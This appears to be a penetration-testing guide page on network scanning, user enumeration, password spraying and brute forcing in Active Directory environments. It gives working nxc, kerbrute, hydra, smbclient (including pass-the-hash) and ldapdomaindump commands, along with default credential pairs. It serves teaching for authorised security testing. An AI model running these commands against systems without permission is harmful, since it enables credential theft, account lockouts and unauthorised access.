Scanning/Spraying

Finding your attack surface and testing credentials

While working on the engagement, you will often keep finding new information that you should keep track of. Here is a logical way of structuring the information you find like IPs, usernames, and passwords. The rest of the commands in this section will use these files in the examples:

  • ips.txt: All valid IP addresses that you can reach. For example, whenever you find a new internal network, you can add more IPs to this list.

  • users.txt: Every valid username or domain user. Many tools accept such a list for trying some action on every user.

  • emails.txt: Similar to the users.txt file, but with an @domain.tld suffix to be used in tools requiring the domain per user, or for sending mass-phishing emails.

  • passwords.txt: Every password you find from any source. If a password has a matching username, make sure it is put on the same line as in users.txt, this way some tools like NetExec can use --no-bruteforce to try usernames with their corresponding password only.

It may also be useful to export certain environment variables to use in commands, in order to make them more generic. Variables like $DC (domain controller) or $DOMAIN (domain of the Active Directory) will be used in commands in the following sections. Set these in Linux using export:

export DC=10.10.10.10
export DOMAIN=domain.tld

Anonymous logins

Some protocols with some settings in Windows allow for a special "guest" user to log in without requiring real credentials. These types of authentication often grant you very low privileges, but they may be enough to do something interesting, or at least learn more about the environment.

Here are some commands that test for the existence of these types of binds:

# SMB (port 139,445)
smbclient -L //$IP -U %         # Empty username and password
smbclient -L //$IP -U " "%" "   # Space as username and password
smbclient -L //$IP -U guest%    # 'guest' username and empty password
# LDAP (port 389,636)
ldapsearch -h $IP 389 -x -s base -b '' "(objectClass=*)" "*" +
# # FTP (port 21)
$ ftp $IP
220 Rebex FTP Server ready.
Name ($IP:user): anonymous
331 Password required for 'anonymous'.
Password: anonymous@domain.com
230 User 'anonymous' logged in.
> 

Scanning & Networking

See Nmap for a guide on scanning IP addresses for open ports. On Windows, here is a very minimal scan that can be applied to large ranges or slow connections:

nmap -sT -n -Pn -sV -sC -vv --open -p21,22,25,53,80,88,135,139,389,443,445,464,636,1433,2222,3000,3268,3269,3306,3389,5000,5985,8000,8080 -iL ips.txt -oN nmap/external.txt

When having gotten access to some machine, it may be inside some internal network not visible from the outside. Check this using ipconfig:

ipconfig /all

Spraying

Enumerating usernames

Kerberos user enumeration

When all you have is access to the domain controller, but no valid credentials yet, you can use Kerberos (port 88) to test if a given username is valid. The following tool does this using a wordlist:

kerbrute userenum --dc $DC -d $DOMAIN /list/names.txt

As a wordlist, kerberos_enum_userlists has some lists in the 'a.smith' and 'asmith' format as this is common for organizations. Another list for only the most common (ordered) first names is here:

LDAP query

When you have valid domain credentials, a simpler option than brute-force is to simply query LDAP (port 389) on the domain controller, to make sure you have all existing users:

$ nxc ldap $DC -u $USERNAME -p $PASSWORD --users
...
LDAP    $DC     389    DC01       Administrator     Built-in account for administering the computer/domain
LDAP    $DC     389    DC01       Guest             Built-in account for guest access to the computer/domain
LDAP    $DC     389    DC01       krbtgt            Key Distribution Center Service Account
LDAP    $DC     389    DC01       user1
LDAP    $DC     389    DC01       user2
LDAP    $DC     389    DC01       user3

Tip: If you get a "[Errno -2] Name or service not known" message, it cannot resolve the domain name. Make sure you add any hosts like dc01.$DOMAIN to your /etc/hosts file.

LDAP contains much more domain information, not just usernames. BloodHound can do this.

Spray passwords

To try one (or a few) passwords on many users, there are different protocols you can use. In the end, they all query the same data, but some protocols might be unavailable due to various reasons. The most common is SMB (port 139,445), which is mainly used for sharing files over the network, but also different mechanisms like printers or some internal communication.

Important to note is that Active Directory has rate limiting in the form of blocking accounts after too many failed login attempts. In the following example, after 5 failed attempts on the account, it will be blocked for 30 minutes. Only after that period will you be able to try again.

PS C:\> net accounts
Force user logoff how long after time expires?:       Never
Minimum password age (days):                          1
Maximum password age (days):                          42
Minimum password length:                              7
Length of password history maintained:                24
Lockout threshold:                                    5
Lockout duration (minutes):                           30
Lockout observation window (minutes):                 30
Computer role:                                        WORKSTATION

You can see this behavior in action in the following example:

Account Lockout Example
$ nxc smb $IP -u $USERNAME -p /list/rockyou.txt
SMB   $IP   445    DC01     [-] $DOMAIN\$USERNAME:123456    STATUS_LOGON_FAILURE
SMB   $IP   445    DC01     [-] $DOMAIN\$USERNAME:12345     STATUS_LOGON_FAILURE
SMB   $IP   445    DC01     [-] $DOMAIN\$USERNAME:123456789 STATUS_LOGON_FAILURE
SMB   $IP   445    DC01     [-] $DOMAIN\$USERNAME:password  STATUS_LOGON_FAILURE
SMB   $IP   445    DC01     [-] $DOMAIN\$USERNAME:iloveyou  STATUS_LOGON_FAILURE
SMB   $IP   445    DC01     [-] $DOMAIN\$USERNAME:princess  STATUS_ACCOUNT_LOCKED_OUT
SMB   $IP   445    DC01     [-] $DOMAIN\$USERNAME:1234567   STATUS_ACCOUNT_LOCKED_OUT

The tool used here is NetExec, a fork of CrackMapExec after it has been archived. This tool is very useful for spraying various protocols with credentials, and then performing actions with found logins.

To spray a password for all users you have, simply provide a domain-joined IP with SMB open, and use the -u and -p options from which it will try all combinations:

# SMB (port 139,445)
nxc smb $IP -u users.txt -p $PASSWORD
nxc smb $IP -u users.txt -p passwords.txt
# LDAP (port 389,636)
nxc ldap $IP -u users.txt -p $PASSWORD
nxc ldap $IP -u users.txt -p passwords.txt
...

Brute Forcing

In Spray passwords you read how most Windows protocols have a lockout policy. RDP and SSH however don't have this by default and may allow long brute-force attacks that can guess more complex passwords. The best tool for this job is hydra:

Similar to NetExec, it implements various protocols. But this tool is specially built for brute force attacks at a large scale. It does not have further exploitation capabilities, only finding credentials.

For the username, password, and IP you can choose either a static value, or try everything from a list.

Templates (SSH)
hydra -l $USERNAME -p $PASSWORD -M ips.txt ssh  # Try password on all IPs (SSH)
hydra -l $USERNAME -P /list/passwords.txt ssh://$IP  # Guess password for one user
hydra -L /list/usernames.txt -p $PASSWORD ssh://$IP  # Guess username for a password
hydra -L /list/usernames.txt -P /list/passwords.txt ssh://$IP  # Guess user and pass
hydra -C /list/credentials.txt -M ips.txt ssh  # Try specific credentials on all IPs

To brute force RDP, or another supported protocol, simply replace ssh with rdp:

hydra -l $USERNAME -p $PASSWORD -M ips.txt rdp  # Try password on all IPs (RDP)

Another common task is trying common credentials on website login pages. If the login page looks like a common piece of software, your first step should be looking up the "default credentials" in a search engine. Otherwise, some of the credentials below are common defaults:

admin:admin
admin:password
admin:root
root:root
root:password
root:admin
guest:guest
user:password

Tip: If you know any usernames, also try a [username]:[username] combination, there is a decent chance that their password will be the same as their username.

When these don't work, or you can't find any, you can try to brute force it a little. Hydra also has built-in options for this for simple HTTP forms, but for more complex flows try out ffuf (details inFind Content). When things are simple, like a Basic Auth prompt, hydra suffices:

This type of prompt comes from the following response header:

WWW-Authenticate: Basic realm="..."

When you fill out this form the browser gives you, you will send the following header with all future requests to that origin. This contains your username and password in base64 separated by a colon (:). For example, this decodes to username:password:

Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=

Hydra can automatically encode and send data like this if you provide the http-get option:

Brute Force Basic Auth
hydra -l admin -P /list/passwords.txt $IP http-get /path/to/login

Finally, the last thing it can do with websites is automatically submit POST forms. When a custom login page is made this is by far the most common way of authenticating, which has custom parameters and URLs that will verify the credentials. To automate such a login a little bit of analysis is required to find out how a form is built, easily done by intercepting the request in a proxy like Burp Suite.

Example POST login
POST /login.php HTTP/1.1
Host: example.com
Content-Length: 27
...
Content-Type: application/x-www-form-urlencoded
Connection: close

username=user&password=pass

Things to look out for here are the path, and the body itself with your input in it. These can all be put into hydra in a sort of template format, where it will fill in the username and password every time. The response to this request is also good to take note of, like "Login failed". Hydra can use this to determine if a login is successful or not. For example:

hydra -l admin -P /list/passwords.txt $IP http-post-form "/login.php:username=^USER^&password=^PASS^:Login failed"

You'll notice the big string at the end that separates the path, the body with ^USER^ and ^PASS^ template variables, and lastly a failed login response to look for.

Enumerating access

When you have found credentials, they may have access to various different places with different permissions. Try using nxc to spray them as shown above while looking at the amount of access. For SMB, for example, you can list the shares you may access on each server with READ or WRITE perms:

nxc smb ips.txt -u $USERNAME -p $PASSWORD --shares

Enumeration

Some various network protocols that you can gain information from, like users or the domain structure.

SMB (139, 445)

SMB (Server Message Block) is a protocol used mainly for sharing files on a local network. One server has multiple shares that contain a filesystem with directories and files. List shares on a server using smbclient -L and then connect to any one of them to read/write files:

smbclient -L //10.10.10.10 -U $USERNAME --password $PASSWORD
# Alternative using nxc:
nxc smb 10.10.10.10 -u $USERNAME -p $PASSWORD --shares

Then when you have found a share, you can use commands like ls and cd to traverse the filesystem, and get <FILENAME> to download anything. If you have write permissions, the put command also lets you upload files. To download all files recursively and look at them locally, use the following 4 commands:

$ mkdir smb && cd smb
$ smbclient //10.10.10.10/share -U $USERNAME --password $PASSWORD
mask ""
recurse ON
prompt OFF
mget *

By passing --pw-nt-hash instead of --password, you can specify an NTLM hash for the user to perform pass-the-hash:

smbclient //10.10.10.10/share -U $USERNAME --pw-nt-hash $NTLM_HASH

RPC (139)

Some enumeration with SMB like above, as well as with RPC can be done automatically using enum4linux. This tool just needs an IP address and will try to anonymously get as much information from the domain as possible, like users but also including attributes like descriptions which may contain sensitive information. Always try to run this against machines:

enum4linux $IP

RPC connections can also be manually abused using the rpcclient tool:

LDAP (389, 636)

A simple tool that uses LDAP access to dump as much information about the domain as possible. This can help craft more attack ideas and get you an idea of what users, groups, and permissions exist. This writes HTML, JSON, and grepable files with the results in your current directory. Especially the HTML files give a nice table with links to view your results.

ldapdomaindump -u '$DOMAIN\$USERNAME' -p $PASSWORD $IP

Note: This tool might not require authentication to be used, as LDAP could be misconfigured for unauthenticated access. Use the -u option empty to use an anonymous session

Another great tool for enumeration through LDAP is BloodHound, which is focused on relations between nodes to find privilege escalation paths in a GUI.

Last updated